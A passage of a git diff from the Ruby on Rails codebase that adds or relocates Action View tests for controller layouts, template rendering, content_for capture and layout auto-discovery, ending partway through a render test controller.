+                                           "With Grand Child <%= yield %>"
+
+      )]
+    end
+
+    class Blank < Base
+      self.view_paths = []
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello blank!")
+      end
+    end
+
+    class WithString < Base
+      layout "hello"
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello string!")
+      end
+
+      def overwrite_default
+        render :template => ActionView::Template::Text.new("Hello string!"), :layout => :default
+      end
+
+      def overwrite_false
+        render :template => ActionView::Template::Text.new("Hello string!"), :layout => false
+      end
+
+      def overwrite_string
+        render :template => ActionView::Template::Text.new("Hello string!"), :layout => "overwrite"
+      end
+
+      def overwrite_skip
+        render :text => "Hello text!"
+      end
+    end
+
+    class WithStringChild < WithString
+    end
+
+    class WithStringOverriddenChild < WithString
+      layout "hello_override"
+    end
+
+    class WithStringImpliedChild < WithString
+      layout nil
+    end
+
+    class WithChildOfImplied < WithStringImpliedChild
+    end
+
+    class WithGrandChildOfImplied < WithStringImpliedChild
+      layout nil
+    end
+
+    class WithProc < Base
+      layout proc { "overwrite" }
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello proc!")
+      end
+    end
+
+    class WithProcReturningNil < Base
+      layout proc { nil }
+
+      def index
+        render template: ActionView::Template::Text.new("Hello nil!")
+      end
+    end
+
+    class WithZeroArityProc < Base
+      layout proc { "overwrite" }
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello zero arity proc!")
+      end
+    end
+
+    class WithProcInContextOfInstance < Base
+      def an_instance_method; end
+
+      layout proc {
+        break unless respond_to? :an_instance_method
+        "overwrite"
+      }
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello again zero arity proc!")
+      end
+    end
+
+    class WithSymbol < Base
+      layout :hello
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello symbol!")
+      end
+    private
+      def hello
+        "overwrite"
+      end
+    end
+
+    class WithSymbolReturningNil < Base
+      layout :nilz
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello nilz!")
+      end
+
+      def nilz() end
+    end
+
+    class WithSymbolReturningObj < Base
+      layout :objekt
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello nilz!")
+      end
+
+      def objekt
+        Object.new
+      end
+    end
+
+    class WithSymbolAndNoMethod < Base
+      layout :no_method
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello boom!")
+      end
+    end
+
+    class WithMissingLayout < Base
+      layout "missing"
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello missing!")
+      end
+    end
+
+    class WithFalseLayout < Base
+      layout false
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello false!")
+      end
+    end
+
+    class WithNilLayout < Base
+      layout nil
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello nil!")
+      end
+    end
+
+    class WithOnlyConditional < WithStringImpliedChild
+      layout "overwrite", :only => :show
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello index!")
+      end
+
+      def show
+        render :template => ActionView::Template::Text.new("Hello show!")
+      end
+    end
+
+    class WithExceptConditional < WithStringImpliedChild
+      layout "overwrite", :except => :show
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello index!")
+      end
+
+      def show
+        render :template => ActionView::Template::Text.new("Hello show!")
+      end
+    end
+
+    class TestBase < ActiveSupport::TestCase
+      test "when no layout is specified, and no default is available, render without a layout" do
+        controller = Blank.new
+        controller.process(:index)
+        assert_equal "Hello blank!", controller.response_body
+      end
+
+      test "when layout is specified as a string, render with that layout" do
+        controller = WithString.new
+        controller.process(:index)
+        assert_equal "With String Hello string!", controller.response_body
+      end
+
+      test "when layout is overwritten by :default in render, render default layout" do
+        controller = WithString.new
+        controller.process(:overwrite_default)
+        assert_equal "With String Hello string!", controller.response_body
+      end
+
+      test "when layout is overwritten by string in render, render new layout" do
+        controller = WithString.new
+        controller.process(:overwrite_string)
+        assert_equal "Overwrite Hello string!", controller.response_body
+      end
+
+      test "when layout is overwritten by false in render, render no layout" do
+        controller = WithString.new
+        controller.process(:overwrite_false)
+        assert_equal "Hello string!", controller.response_body
+      end
+
+      test "when text is rendered, render no layout" do
+        controller = WithString.new
+        controller.process(:overwrite_skip)
+        assert_equal "Hello text!", controller.response_body
+      end
+
+      test "when layout is specified as a string, but the layout is missing, raise an exception" do
+        assert_raises(ActionView::MissingTemplate) { WithMissingLayout.new.process(:index) }
+      end
+
+      test "when layout is specified as false, do not use a layout" do
+        controller = WithFalseLayout.new
+        controller.process(:index)
+        assert_equal "Hello false!", controller.response_body
+      end
+
+      test "when layout is specified as nil, do not use a layout" do
+        controller = WithNilLayout.new
+        controller.process(:index)
+        assert_equal "Hello nil!", controller.response_body
+      end
+
+      test "when layout is specified as a proc, do not leak any methods into controller's action_methods" do
+        assert_equal Set.new(['index']), WithProc.action_methods
+      end
+
+      test "when layout is specified as a proc, call it and use the layout returned" do
+        controller = WithProc.new
+        controller.process(:index)
+        assert_equal "Overwrite Hello proc!", controller.response_body
+      end
+
+      test "when layout is specified as a proc and the proc returns nil, don't use a layout" do
+        controller = WithProcReturningNil.new
+        controller.process(:index)
+        assert_equal "Hello nil!", controller.response_body
+      end
+
+      test "when layout is specified as a proc without parameters it works just the same" do
+        controller = WithZeroArityProc.new
+        controller.process(:index)
+        assert_equal "Overwrite Hello zero arity proc!", controller.response_body
+      end
+
+      test "when layout is specified as a proc without parameters the block is evaluated in the context of an instance" do
+        controller = WithProcInContextOfInstance.new
+        controller.process(:index)
+        assert_equal "Overwrite Hello again zero arity proc!", controller.response_body
+      end
+
+      test "when layout is specified as a symbol, call the requested method and use the layout returned" do
+        controller = WithSymbol.new
+        controller.process(:index)
+        assert_equal "Overwrite Hello symbol!", controller.response_body
+      end
+
+      test "when layout is specified as a symbol and the method returns nil, don't use a layout" do
+        controller = WithSymbolReturningNil.new
+        controller.process(:index)
+        assert_equal "Hello nilz!", controller.response_body
+      end
+
+      test "when the layout is specified as a symbol and the method doesn't exist, raise an exception" do
+        assert_raises(NameError) { WithSymbolAndNoMethod.new.process(:index) }
+      end
+
+      test "when the layout is specified as a symbol and the method returns something besides a string/false/nil, raise an exception" do
+        assert_raises(ArgumentError) { WithSymbolReturningObj.new.process(:index) }
+      end
+
+      test "when a child controller does not have a layout, use the parent controller layout" do
+        controller = WithStringChild.new
+        controller.process(:index)
+        assert_equal "With String Hello string!", controller.response_body
+      end
+
+      test "when a child controller has specified a layout, use that layout and not the parent controller layout" do
+        controller = WithStringOverriddenChild.new
+        controller.process(:index)
+        assert_equal "With Override Hello string!", controller.response_body
+      end
+
+      test "when a child controller has an implied layout, use that layout and not the parent controller layout" do
+        controller = WithStringImpliedChild.new
+        controller.process(:index)
+        assert_equal "With Implied Hello string!", controller.response_body
+      end
+
+      test "when a grandchild has no layout specified, the child has an implied layout, and the " \
+        "parent has specified a layout, use the child controller layout" do
+          controller = WithChildOfImplied.new
+          controller.process(:index)
+          assert_equal "With Implied Hello string!", controller.response_body
+      end
+
+      test "when a grandchild has nil layout specified, the child has an implied layout, and the " \
+        "parent has specified a layout, use the child controller layout" do
+          controller = WithGrandChildOfImplied.new
+          controller.process(:index)
+          assert_equal "With Grand Child Hello string!", controller.response_body
+      end
+
+      test "raises an exception when specifying layout true" do
+        assert_raises ArgumentError do
+          Object.class_eval do
+            class ::BadFailLayout < AbstractControllerTests::Layouts::Base
+              layout true
+            end
+          end
+        end
+      end
+
+      test "when specify an :only option which match current action name" do
+        controller = WithOnlyConditional.new
+        controller.process(:show)
+        assert_equal "Overwrite Hello show!", controller.response_body
+      end
+
+      test "when specify an :only option which does not match current action name" do
+        controller = WithOnlyConditional.new
+        controller.process(:index)
+        assert_equal "With Implied Hello index!", controller.response_body
+      end
+
+      test "when specify an :except option which match current action name" do
+        controller = WithExceptConditional.new
+        controller.process(:show)
+        assert_equal "With Implied Hello show!", controller.response_body
+      end
+
+      test "when specify an :except option which does not match current action name" do
+        controller = WithExceptConditional.new
+        controller.process(:index)
+        assert_equal "Overwrite Hello index!", controller.response_body
+      end
+
+      test "layout for anonymous controller" do
+        klass = Class.new(WithString) do
+          def index
+            render :text => 'index', :layout => true
+          end
+        end
+
+        controller = klass.new
+        controller.process(:index)
+        assert_equal "With String index", controller.response_body
+      end
+    end
+  end
+end
diff --git a/actionview/test/actionpack/abstract/render_test.rb b/actionview/test/actionpack/abstract/render_test.rb
new file mode 100644
index 0000000..f9d8c91
--- /dev/null
+++ b/actionview/test/actionpack/abstract/render_test.rb
@@ -0,0 +1,103 @@
+require 'abstract_unit'
+
+module AbstractController
+  module Testing
+
+    class ControllerRenderer < AbstractController::Base
+      include AbstractController::Rendering
+      include ActionView::Rendering
+
+      def _prefixes
+        %w[renderer]
+      end
+
+      self.view_paths = [ActionView::FixtureResolver.new(
+        "template.erb" => "With Template",
+        "renderer/default.erb" => "With Default",
+        "renderer/string.erb" => "With String",
+        "renderer/symbol.erb" => "With Symbol",
+        "string/with_path.erb" => "With String With Path",
+        "some/file.erb" => "With File"
+      )]
+
+      def template
+        render :template => "template"
+      end
+
+      def file
+        render :file => "some/file"
+      end
+
+      def inline
+        render :inline => "With <%= :Inline %>"
+      end
+
+      def text
+        render :text => "With Text"
+      end
+
+      def default
+        render
+      end
+
+      def string
+        render "string"
+      end
+
+      def string_with_path
+        render "string/with_path"
+      end
+
+      def symbol
+        render :symbol
+      end
+    end
+
+    class TestRenderer < ActiveSupport::TestCase
+
+      def setup
+        @controller = ControllerRenderer.new
+      end
+
+      def test_render_template
+        @controller.process(:template)
+        assert_equal "With Template", @controller.response_body
+      end
+
+      def test_render_file
+        @controller.process(:file)
+        assert_equal "With File", @controller.response_body
+      end
+
+      def test_render_inline
+        @controller.process(:inline)
+        assert_equal "With Inline", @controller.response_body
+      end
+
+      def test_render_text
+        @controller.process(:text)
+        assert_equal "With Text", @controller.response_body
+      end
+
+      def test_render_default
+        @controller.process(:default)
+        assert_equal "With Default", @controller.response_body
+      end
+
+      def test_render_string
+        @controller.process(:string)
+        assert_equal "With String", @controller.response_body
+      end
+
+      def test_render_symbol
+        @controller.process(:symbol)
+        assert_equal "With Symbol", @controller.response_body
+      end
+
+      def test_render_string_with_path
+        @controller.process(:string_with_path)
+        assert_equal "With String With Path", @controller.response_body
+      end
+    end
+  end
+end
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me3/formatted.html.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/formatted.html.erb
similarity index 100%
rename from actionpack/test/abstract/views/abstract_controller/testing/me3/formatted.html.erb
rename to actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/formatted.html.erb
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me3/index.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/index.erb
similarity index 100%
rename from actionpack/test/abstract/views/abstract_controller/testing/me3/index.erb
rename to actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/index.erb
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me4/index.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me4/index.erb
similarity index 100%
rename from actionpack/test/abstract/views/abstract_controller/testing/me4/index.erb
rename to actionview/test/actionpack/abstract/views/abstract_controller/testing/me4/index.erb
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me5/index.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me5/index.erb
similarity index 100%
rename from actionpack/test/abstract/views/abstract_controller/testing/me5/index.erb
rename to actionview/test/actionpack/abstract/views/abstract_controller/testing/me5/index.erb
diff --git a/actionpack/test/abstract/views/action_with_ivars.erb b/actionview/test/actionpack/abstract/views/action_with_ivars.erb
similarity index 100%
rename from actionpack/test/abstract/views/action_with_ivars.erb
rename to actionview/test/actionpack/abstract/views/action_with_ivars.erb
diff --git a/actionpack/test/abstract/views/helper_test.erb b/actionview/test/actionpack/abstract/views/helper_test.erb
similarity index 100%
rename from actionpack/test/abstract/views/helper_test.erb
rename to actionview/test/actionpack/abstract/views/helper_test.erb
diff --git a/actionpack/test/abstract/views/index.erb b/actionview/test/actionpack/abstract/views/index.erb
similarity index 100%
rename from actionpack/test/abstract/views/index.erb
rename to actionview/test/actionpack/abstract/views/index.erb
diff --git a/actionpack/test/abstract/views/layouts/abstract_controller/testing/me4.erb b/actionview/test/actionpack/abstract/views/layouts/abstract_controller/testing/me4.erb
similarity index 100%
rename from actionpack/test/abstract/views/layouts/abstract_controller/testing/me4.erb
rename to actionview/test/actionpack/abstract/views/layouts/abstract_controller/testing/me4.erb
diff --git a/actionpack/test/abstract/views/layouts/application.erb b/actionview/test/actionpack/abstract/views/layouts/application.erb
similarity index 100%
rename from actionpack/test/abstract/views/layouts/application.erb
rename to actionview/test/actionpack/abstract/views/layouts/application.erb
diff --git a/actionpack/test/abstract/views/naked_render.erb b/actionview/test/actionpack/abstract/views/naked_render.erb
similarity index 100%
rename from actionpack/test/abstract/views/naked_render.erb
rename to actionview/test/actionpack/abstract/views/naked_render.erb
diff --git a/actionview/test/actionpack/controller/capture_test.rb b/actionview/test/actionpack/controller/capture_test.rb
new file mode 100644
index 0000000..f8387b2
--- /dev/null
+++ b/actionview/test/actionpack/controller/capture_test.rb
@@ -0,0 +1,81 @@
+require 'abstract_unit'
+require 'active_support/logger'
+
+class CaptureController < ActionController::Base
+  self.view_paths = [ File.dirname(__FILE__) + '/../../fixtures/actionpack' ]
+
+  def self.controller_name; "test"; end
+  def self.controller_path; "test"; end
+
+  def content_for
+    @title = nil
+    render :layout => "talk_from_action"
+  end
+
+  def content_for_with_parameter
+    @title = nil
+    render :layout => "talk_from_action"
+  end
+
+  def content_for_concatenated
+    @title = nil
+    render :layout => "talk_from_action"
+  end
+
+  def non_erb_block_content_for
+    @title = nil
+    render :layout => "talk_from_action"
+  end
+
+  def proper_block_detection
+    @todo = "some todo"
+  end
+end
+
+class CaptureTest < ActionController::TestCase
+  tests CaptureController
+
+  def setup
+    super
+    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+    # a more accurate simulation of what happens in "real life".
+    @controller.logger = ActiveSupport::Logger.new(nil)
+
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_simple_capture
+    get :capturing
+    assert_equal "Dreamy days", @response.body.strip
+  end
+
+  def test_content_for
+    get :content_for
+    assert_equal expected_content_for_output, @response.body
+  end
+
+  def test_should_concatentate_content_for
+    get :content_for_concatenated
+    assert_equal expected_content_for_output, @response.body
+  end
+
+  def test_should_set_content_for_with_parameter
+    get :content_for_with_parameter
+    assert_equal expected_content_for_output, @response.body
+  end
+
+  def test_non_erb_block_content_for
+    get :non_erb_block_content_for
+    assert_equal expected_content_for_output, @response.body
+  end
+
+  def test_proper_block_detection
+    get :proper_block_detection
+    assert_equal "some todo", @response.body
+  end
+
+  private
+    def expected_content_for_output
+      "<title>Putting stuff in the title!</title>\nGreat stuff!"
+    end
+end
diff --git a/actionview/test/actionpack/controller/layout_test.rb b/actionview/test/actionpack/controller/layout_test.rb
new file mode 100644
index 0000000..b44f57a
--- /dev/null
+++ b/actionview/test/actionpack/controller/layout_test.rb
@@ -0,0 +1,256 @@
+require 'abstract_unit'
+require 'rbconfig'
+require 'active_support/core_ext/array/extract_options'
+
+# The view_paths array must be set on Base and not LayoutTest so that LayoutTest's inherited
+# method has access to the view_paths array when looking for a layout to automatically assign.
+old_load_paths = ActionController::Base.view_paths
+
+ActionView::Template::register_template_handler :mab,
+  lambda { |template| template.source.inspect }
+
+ActionController::Base.view_paths = [ File.dirname(__FILE__) + '/../../fixtures/actionpack/layout_tests/' ]
+
+class LayoutTest < ActionController::Base
+  def self.controller_path; 'views' end
+  def self._implied_layout_name; to_s.underscore.gsub(/_controller$/, '') ; end
+  self.view_paths = ActionController::Base.view_paths.dup
+end
+
+# Restore view_paths to previous value
+ActionController::Base.view_paths = old_load_paths
+
+class ProductController < LayoutTest
+end
+
+class ItemController < LayoutTest
+end
+
+class ThirdPartyTemplateLibraryController < LayoutTest
+end
+
+module ControllerNameSpace
+end
+
+class ControllerNameSpace::NestedController < LayoutTest
+end
+
+class MultipleExtensions < LayoutTest
+end
+
+class LayoutAutoDiscoveryTest < ActionController::TestCase
+  def setup
+    super
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_application_layout_is_default_when_no_controller_match
+    @controller = ProductController.new
+    get :hello
+    assert_equal 'layout_test.erb hello.erb', @response.body
+  end
+
+  def test_controller_name_layout_name_match
+    @controller = ItemController.new
+    get :hello
+    assert_equal 'item.erb hello.erb', @response.body
+  end
+
+  def test_third_party_template_library_auto_discovers_layout
+    @controller = ThirdPartyTemplateLibraryController.new
+    get :hello
+    assert_response :success
+    assert_equal 'layouts/third_party_template_library.mab', @response.body
+  end
+
+  def test_namespaced_controllers_auto_detect_layouts1
+    @controller = ControllerNameSpace::NestedController.new
+    get :hello
+    assert_equal 'controller_name_space/nested.erb hello.erb', @response.body
+  end
+
+  def test_namespaced_controllers_auto_detect_layouts2
+    @controller = MultipleExtensions.new
+    get :hello
+    assert_equal 'multiple_extensions.html.erb hello.erb', @response.body.strip
+  end
+end
+
+class DefaultLayoutController < LayoutTest
+end
+
+class StreamingLayoutController < LayoutTest
+  def render(*args)
+    options = args.extract_options!
+    super(*args, options.merge(:stream => true))
+  end
+end
+
+class AbsolutePathLayoutController < LayoutTest
+  layout File.expand_path(File.expand_path(__FILE__) + '/../../../fixtures/actionpack/layout_tests/layouts/layout_test')
+end
+
+class HasOwnLayoutController < LayoutTest
+  layout 'item'
+end
+
+class HasNilLayoutSymbol < LayoutTest
+  layout :nilz
+
+  def nilz
+    nil
+  end
+end
+
+class HasNilLayoutProc < LayoutTest
+  layout proc { nil }
+end
+
+class PrependsViewPathController < LayoutTest
+  def hello
+    prepend_view_path File.dirname(__FILE__) + '/../../fixtures/actionpack/layout_tests/alt/'
+    render :layout => 'alt'
+  end
+end
+
+class OnlyLayoutController < LayoutTest
+  layout 'item', :only => "hello"
+end
+
+class ExceptLayoutController < LayoutTest
+  layout 'item', :except => "goodbye"
+end
+
+class SetsLayoutInRenderController < LayoutTest
+  def hello
+    render :layout => 'third_party_template_library'
+  end
+end
+
+class RendersNoLayoutController < LayoutTest
+  def hello
+    render :layout => false
+  end
+end
+
+class LayoutSetInResponseTest < ActionController::TestCase
+  include ActionView::Template::Handlers
+
+  def test_layout_set_when_using_default_layout
+    @controller = DefaultLayoutController.new
+    get :hello
+    assert_template :layout => "layouts/layout_test"
+  end
+
+  def test_layout_set_when_using_streaming_layout
+    @controller = StreamingLayoutController.new
+    get :hello
+    assert_template :hello
+  end
+
+  def test_layout_set_when_set_in_controller
+    @controller = HasOwnLayoutController.new
+    get :hello
+    assert_template :layout => "layouts/item"
+  end
+
+  def test_layout_symbol_set_in_controller_returning_nil_falls_back_to_default
+    @controller = HasNilLayoutSymbol.new
+    get :hello
+    assert_template layout: "layouts/layout_test"
+  end
+
+  def test_layout_proc_set_in_controller_returning_nil_falls_back_to_default
+    @controller = HasNilLayoutProc.new
+    get :hello
+    assert_template layout: "layouts/layout_test"
+  end
+
+  def test_layout_only_exception_when_included
+    @controller = OnlyLayoutController.new
+    get :hello
+    assert_template :layout => "layouts/item"
+  end
+
+  def test_layout_only_exception_when_excepted
+    @controller = OnlyLayoutController.new
+    get :goodbye
+    assert !@response.body.include?("item.erb"), "#{@response.body.inspect} included 'item.erb'"
+  end
+
+  def test_layout_except_exception_when_included
+    @controller = ExceptLayoutController.new
+    get :hello
+    assert_template :layout => "layouts/item"
+  end
+
+  def test_layout_except_exception_when_excepted
+    @controller = ExceptLayoutController.new
+    get :goodbye
+    assert !@response.body.include?("item.erb"), "#{@response.body.inspect} included 'item.erb'"
+  end
+
+  def test_layout_set_when_using_render
+    @controller = SetsLayoutInRenderController.new
+    get :hello
+    assert_template :layout => "layouts/third_party_template_library"
+  end
+
+  def test_layout_is_not_set_when_none_rendered
+    @controller = RendersNoLayoutController.new
+    get :hello
+    assert_template :layout => nil
+  end
+
+  def test_layout_is_picked_from_the_controller_instances_view_path
+    @controller = PrependsViewPathController.new
+    get :hello
+    assert_template :layout => /layouts\/alt/
+  end
+
+  def test_absolute_pathed_layout
+    @controller = AbsolutePathLayoutController.new
+    get :hello
+    assert_equal "layout_test.erb hello.erb", @response.body.strip
+  end
+end
+
+class SetsNonExistentLayoutFile < LayoutTest
+  layout "nofile"
+end
+
+class LayoutExceptionRaisedTest < ActionController::TestCase
+  def test_exception_raised_when_layout_file_not_found
+    @controller = SetsNonExistentLayoutFile.new
+    assert_raise(ActionView::MissingTemplate) { get :hello }
+  end
+end
+
+class LayoutStatusIsRendered < LayoutTest
+  def hello
+    render :status => 401
+  end
+end
+
+class LayoutStatusIsRenderedTest < ActionController::TestCase
+  def test_layout_status_is_rendered
+    @controller = LayoutStatusIsRendered.new
+    get :hello
+    assert_response 401
+  end
+end
+
+unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
+  class LayoutSymlinkedTest < LayoutTest
+    layout "symlinked/symlinked_layout"
+  end
+
+  class LayoutSymlinkedIsRenderedTest < ActionController::TestCase
+    def test_symlinked_layout_is_rendered
+      @controller = LayoutSymlinkedTest.new
+      get :hello
+      assert_response 200
+      assert_template :layout => "layouts/symlinked/symlinked_layout"
+    end
+  end
+end
diff --git a/actionview/test/actionpack/controller/render_test.rb b/actionview/test/actionpack/controller/render_test.rb
new file mode 100644
index 0000000..45b8049
--- /dev/null
+++ b/actionview/test/actionpack/controller/render_test.rb
@@ -0,0 +1,1335 @@
+require 'abstract_unit'
+require "active_model"
+
+class ApplicationController < ActionController::Base
+  self.view_paths = File.join(FIXTURE_LOAD_PATH, "actionpack")
+end
+
+class Customer < Struct.new(:name, :id)
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  undef_method :to_json
+
+  def to_xml(options={})
+    if options[:builder]
+      options[:builder].name name
+    else
+      "<name>#{name}</name>"
+    end
+  end
+
+  def to_js(options={})
+    "name: #{name.inspect}"
+  end
+  alias :to_text :to_js
+
+  def errors
+    []
+  end
+
+  def persisted?
+    id.present?
+  end
+end
+
+module Quiz
+  #Models
+  class Question < Struct.new(:name, :id)
+    extend ActiveModel::Naming
+    include ActiveModel::Conversion
+
+    def persisted?
+      id.present?
+    end
+  end
+
+  # Controller
+  class QuestionsController < ApplicationController
+    def new
+      render :partial => Quiz::Question.new("Namespaced Partial")
+    end
+  end
+end
+
+class BadCustomer < Customer; end
+class GoodCustomer < Customer; end
+
+module Fun
+  class GamesController < ApplicationController
+    def hello_world; end
+
+    def nested_partial_with_form_builder
+      render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
+    end
+  end
+end
+
+class TestController < ApplicationController
+  protect_from_forgery
+
+  before_action :set_variable_for_layout
+
+  class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+  end
+
+  layout :determine_layout
+
+  def name
+    nil
+  end
+
+  private :name
+  helper_method :name
+
+  def hello_world
+  end
+
+  def hello_world_file
+    render :file => File.expand_path("../../../fixtures/actionpack/hello", __FILE__), :formats => [:html]
+  end
+
+  # :ported:
+  def render_hello_world
+    render :template => "test/hello_world"
+  end
+
+  def render_hello_world_with_last_modified_set
+    response.last_modified = Date.new(2008, 10, 10).to_time
+    render :template => "test/hello_world"
+  end
+
+  # :ported: compatibility
+  def render_hello_world_with_forward_slash
+    render :template => "/test/hello_world"
+  end
+
+  # :ported:
+  def render_template_in_top_directory
+    render :template => 'shared'
+  end
+
+  # :deprecated:
+  def render_template_in_top_directory_with_slash
+    render :template => '/shared'
+  end
+
+  # :ported:
+  def render_hello_world_from_variable
+    @person = "david"
+    render :text => "hello #{@person}"
+  end
+
+  # :ported:
+  def render_action_hello_world
+    render :action => "hello_world"
+  end
+
+  def render_action_upcased_hello_world
+    render :action => "Hello_world"
+  end
+
+  def render_action_hello_world_as_string
+    render "hello_world"
+  end
+
+  def render_action_hello_world_with_symbol
+    render :action => :hello_world
+  end
+
+  # :ported:
+  def render_text_hello_world
+    render :text => "hello world"
+  end
+
+  # :ported:
+  def render_text_hello_world_with_layout
+    @variable_for_layout = ", I am here!"
+    render :text => "hello world", :layout => true
+  end
+
+  def hello_world_with_layout_false
+    render :layout => false
+  end
+
+  # :ported:
+  def render_file_with_instance_variables
+    @secret = 'in the sauce'
+    path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar')
+    render :file => path
+  end
+
+  # :ported:
+  def render_file_as_string_with_instance_variables
+    @secret = 'in the sauce'
+    path = File.expand_path(File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar'))
+    render path
+  end
+
+  # :ported:
+  def render_file_not_using_full_path
+    @secret = 'in the sauce'
+    render :file => 'test/render_file_with_ivar'
+  end
+
+  def render_file_not_using_full_path_with_dot_in_path
+    @secret = 'in the sauce'
+    render :file => 'test/dot.directory/render_file_with_ivar'
+  end
+
+  def render_file_using_pathname
+    @secret = 'in the sauce'
+    render :file => Pathname.new(File.dirname(__FILE__)).join('..', '..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar')
+  end
+
+  def render_file_from_template
+    @secret = 'in the sauce'
+    @path = File.expand_path(File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar'))
+  end
+
+  def render_file_with_locals
+    path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals')
+    render :file => path, :locals => {:secret => 'in the sauce'}
+  end
+
+  def render_file_as_string_with_locals
+    path = File.expand_path(File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals'))
+    render path, :locals => {:secret => 'in the sauce'}
+  end
+
+  def accessing_request_in_template
+    render :inline =>  "Hello: <%= request.host %>"
+  end
+
+  def accessing_logger_in_template
+    render :inline =>  "<%= logger.class %>"
+  end
+
+  def accessing_action_name_in_template
+    render :inline =>  "<%= action_name %>"
+  end
+
+  def accessing_controller_name_in_template
+    render :inline =>  "<%= controller_name %>"
+  end
+
+  # :ported:
+  def render_custom_code
+    render :text => "hello world", :status => 404
+  end
+
+  # :ported:
+  def render_text_with_nil
+    render :text => nil
+  end
+
+  # :ported:
+  def render_text_with_false
+    render :text => false
+  end
+
+  def render_text_with_resource
+    render :text => Customer.new("David")
+  end
+
+  # :ported:
+  def render_nothing_with_appendix
+    render :text => "appended"
+  end
+
+  # This test is testing 3 things:
+  #   render :file in AV      :ported:
+  #   render :template in AC  :ported:
+  #   setting content type
+  def render_xml_hello
+    @name = "David"
+    render :template => "test/hello"
+  end
+
+  def render_xml_hello_as_string_template
+    @name = "David"
+    render "test/hello"
+  end
+
+  def render_line_offset
+    render :inline => '<% raise %>', :locals => {:foo => 'bar'}
+  end
+
+  def heading
+    head :ok
+  end
+
+  def greeting
+    # let's just rely on the template
+  end
+
+  # :ported:
+  def blank_response
+    render :text => ' '
+  end
+
+  # :ported:
+  def layout_test
+    render :action => "hello_world"
+  end
+
+  # :ported:
+  def builder_layout_test
+    @name = nil
+    render :action => "hello", :layout => "layouts/builder"
+  end
+
+  # :move: test this in Action View
+  def builder_partial_test
+    render :action => "hello_world_container"
+  end
+
+  # :ported:
+  def partials_list
+    @test_unchanged = 'hello'
+    @customers = [ Customer.new("david"), Customer.new("mary") ]
+    render :action => "list"
+  end
+
+  def partial_only
+    render :partial => true
+  end
+
+  def hello_in_a_string
+    @customers = [ Customer.new("david"), Customer.new("mary") ]
+    render :text => "How's there? " + render_to_string(:template => "test/list")
+  end
+
+  def accessing_params_in_template
+    render :inline => "Hello: <%= params[:name] %>"
+  end
+
+  def accessing_local_assigns_in_inline_template
+    name = params[:local_name]
+    render :inline => "<%= 'Goodbye, ' + local_name %>",
+           :locals => { :local_name => name }
+  end
+
+  def render_implicit_html_template_from_xhr_request
+  end
+
+  def render_implicit_js_template_without_layout
+  end
+
+  def formatted_html_erb
+  end
+
+  def formatted_xml_erb
+  end
+
+  def render_to_string_test
+    @foo = render_to_string :inline => "this is a test"
+  end
+
+  def default_render
+    @alternate_default_render ||= nil
+    if @alternate_default_render
+      @alternate_default_render.call
+    else
+      super
+    end
+  end
+
+  def render_action_hello_world_as_symbol
+    render :action => :hello_world
+  end
+
+  def layout_test_with_different_layout
+    render :action => "hello_world", :layout => "standard"
+  end
+
+  def layout_test_with_different_layout_and_string_action
+    render "hello_world", :layout => "standard"
+  end
+
+  def layout_test_with_different_layout_and_symbol_action
+    render :hello_world, :layout => "standard"
+  end
+
+  def rendering_without_layout
+    render :action => "hello_world", :layout => false
+  end
+
+  def layout_overriding_layout
+    render :action => "hello_world", :layout => "standard"
+  end
+
+  def rendering_nothing_on_layout
+    render :nothing => true
+  end
+
+  def render_to_string_with_assigns
+    @before = "i'm before the render"
+    render_to_string :text => "foo"
+    @after = "i'm after the render"
+    render :template => "test/hello_world"
+  end
+
+  def render_to_string_with_exception
+    render_to_string :file => "exception that will not be caught - this will certainly not work"
+  end
+
+  def render_to_string_with_caught_exception
+    @before = "i'm before the render"
+    begin
+      render_to_string :file => "exception that will be caught- hope my future instance vars still work!"
+    rescue
+    end
+    @after = "i'm after the render"
+    render :template => "test/hello_world"
+  end
+
+  def accessing_params_in_template_with_layout
+    render :layout => true, :inline =>  "Hello: <%= params[:name] %>"
+  end
+
+  # :ported:
+  def render_with_explicit_template
+    render :template => "test/hello_world"
+  end
+
+  def render_with_explicit_unescaped_template
+    render :template => "test/h*llo_world"
+  end
+
+  def render_with_explicit_escaped_template
+    render :template => "test/hello,world"
+  end
+
+  def render_with_explicit_string_template
+    render "test/hello_world"
+  end
+
+  # :ported:
+  def render_with_explicit_template_with_locals
+    render :template => "test/render_file_with_locals", :locals => { :secret => 'area51' }
+  end
+
+  # :ported:
+  def double_render
+    render :text => "hello"
+    render :text => "world"
+  end
+
+  def double_redirect
+    redirect_to :action => "double_render"
+    redirect_to :action => "double_render"
+  end
+
+  def render_and_redirect
+    render :text => "hello"
+    redirect_to :action => "double_render"
